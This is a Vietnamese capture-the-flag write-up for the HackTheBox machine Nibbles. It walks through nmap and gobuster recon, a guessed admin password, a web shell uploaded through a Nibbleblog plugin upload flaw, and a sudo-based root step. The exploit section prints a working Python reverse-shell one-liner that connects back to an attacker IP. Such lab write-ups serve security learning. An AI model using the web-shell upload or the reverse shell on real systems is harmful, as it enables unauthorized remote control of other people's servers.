0

Write-up HackTheBox:Nibbles

Mở đầu

Chúng ta tiếp tục với một machine dễ là Nibbles.

Write-up

Recon

nmap -A -v -p- 10.10.10.75 -o nmap

Ta thấy server đang mở 2 cổng là 80 và 22. Trước tiên mình sẽ vào cổng 80 xem có gì

Mình thử Ctrl+U để xem mã nguồn thì phát hiện ra 1 thư mục mới

Truy cập thử ta thấy là 1 Nibbleblog Sau đó mình dùng searchsploit để kiểm tra xem có gì thú vị không và mình tìm được một lỗi liên quan đến plugin cho phép upload file mà không kiểm tra.

searchsploit nibbleblog

Lỗi này yêu cầu xác thực nên ta phải tìm cách đăng nhập, mình sử dụng gobuster để tìm kiếm các thư mục ẩn.

gobuster dir -w /usr/share/wordlists/dirb/common.txt -u 10.10.10.75 -x php,txt,bak -o gobuster

Sau khi kiểm tra tất cả thư mục thì mình phát hiện được username là admin nhưng mình không thấy password ở đâu.

Mình bắt đầu thử các password và sau một hồi thử thì password là nibbles 🤔🤔

Exploit

Giờ ta đã có username và password tiến hành khai thác lỗi ở trên. Đăng nhập và up shell thôi.

http://10.10.10.75/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image

Sau khi up shell thì sẽ được lưu tại

http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php

Lấy shell đầu thôi, mình kiểm tra nc không chạy nên mình sẽ dùng python3 để tạo shell

10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.*.*",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Ta có shell đầu

Root

Kiểm tra xem user có thể chạy gì với sudo sudo -l

Đến đây thì khá là dễ dàng ta chỉ việc tạo trong thư mục trên một file monitor. sh chứa shell

Conclusion

Ở bài này mình thấy mình không học được gì mới 😂😂


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí